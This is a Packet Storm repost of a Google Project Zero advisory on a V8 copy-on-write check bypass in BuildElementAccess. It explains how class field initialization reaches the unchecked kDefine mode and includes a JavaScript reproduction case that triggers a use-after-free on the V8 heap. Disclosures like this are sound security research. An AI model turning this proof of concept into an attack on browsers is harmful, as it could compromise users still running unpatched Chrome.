exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Chrome JSNativeContextSpecialization::BuildElementAccess Bypass

Chrome JSNativeContextSpecialization::BuildElementAccess Bypass
Posted Jan 18, 2023
Authored by Google Security Research, Glazvunov

Chrome suffers from a copy-on-write check bypass in JSNativeContextSpecialization::BuildElementAccess.

tags | exploit
SHA-256 | e557b72be711db4993d6e8b8912d3a2b8d46fe92a763b730da3097b4ad6eb837

Chrome JSNativeContextSpecialization::BuildElementAccess Bypass

Change Mirror Download
Chrome: Copy-on-write check bypass in JSNativeContextSpecialization::BuildElementAccess

VULNERABILITY DETAILS
Copy-on-write is one of V8's internal optimization features that allows multiple JavaScript objects to share the same element store. This feature is primarily used to optimize creation of JavaScript arrays from literals. It's important that every function that can add a new element to a JS object or modify an existing one first checks that the element store isn't marked as COW and makes a copy of the store if needed. Otherwise, the element will be unexpectedly changed for every object that uses the same store.

Consider the implementation of the safety check in `JSNativeContextSpecialization::BuildElementAccess`:

```
JSNativeContextSpecialization::ValueEffectControl
JSNativeContextSpecialization::BuildElementAccess(
Node* receiver, Node* index, Node* value, Node* effect, Node* control,
Node* context, ElementAccessInfo const& access_info,
KeyedAccessMode const& keyed_mode) {
[...]
if (keyed_mode.access_mode() == AccessMode::kStore &&
IsSmiOrObjectElementsKind(elements_kind) &&
!IsCOWHandlingStoreMode(keyed_mode.store_mode())) {
effect = graph()->NewNode(
simplified()->CheckMaps(
CheckMapsFlag::kNone,
ZoneHandleSet<Map>(factory()->fixed_array_map())),
elements, effect, control);
}
[...]
}
```

The `CheckMaps` node is only inserted if the current access mode is `kStore`. However, there are other modes that can also result in storing an element, and one of them is `kDefine`. A call to the `Object.defineProperty` function won't lead to an access in this mode, but an attacker can take advantage of class field initialization to trigger it:

```
function ReturnHolder() { return define_property_holder }
class Trigger extends ReturnHolder { 123 = new_value; }
```

The `Trigger` constructor will perform an element access that's equivalent to the expression `define_property_holder[123] = new_value`, but will set the access mode to `kDefine`, thus bypassing the safety check.

There are likely multiple ways to exploit the issue. The approach the attached reproduction case takes is to create two `PACKED_SMI_ELEMENTS` arrays that share the element store and then get one of the arrays to transition to the `PACKED_ELEMENTS` kind and store a `HeapObject` element. Since copying elements from the corrupted Smi array to another Smi array won't trigger any write barriers, we can hide the pointer from the garbage collector in a new array and trigger a use-after-free on a V8 heap address.


VERSION
V8 version 10.9.0 (candidate)
Google Chrome 107.0.5304.87 (Official Build) (64-bit)


REPRODUCTION CASE
```
function ForceGC() { try { new ArrayBuffer(2 ** 34); } catch {} }

old_space_array = Array(1, 2);

function CopyElement(from, to) { to[0] = from[0]; } // no write barrier for smi arrays
for (let i = 0; i < 10000; ++i) {
CopyElement(old_space_array, old_space_array);
}

ForceGC();

function MakeCOW() { return [0]; }
original_cow_object = MakeCOW();

function MakeCopy() {
let copy = original_cow_object.concat(); // create a new object with COW elements
copy.splice(); // copy the elements
return copy;
}

new_value = 1;
new_value = {}; // mark the cell as mutable

function ReturnHolder() { return define_property_holder }
class Trigger extends ReturnHolder { 0 = new_value; }

for (let i = 0; i < 10000; ++i) {
define_property_holder = MakeCopy();
new Trigger();
}

new_value = {};
define_property_holder = MakeCOW();
new Trigger();

new_space_array = MakeCOW();
new_space_array.splice();

CopyElement(new_space_array, old_space_array);

new_value = \"\";
define_property_holder = MakeCOW();
new Trigger();

new_space_array = null;
ForceGC();

console.log(old_space_array[0][0]);

```


CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


This bug is subject to a 90-day disclosure deadline. If a fix for this issue is made available to users before the end of the 90-day deadline, this bug report will become public 30 days after the fix was made available. Otherwise, this bug report will become public at the deadline. The scheduled deadline is 2023-02-06.





Found by: glazunov@google.com

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    38 Files
  • 24
    Sep 24th
    65 Files
  • 25
    Sep 25th
    24 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close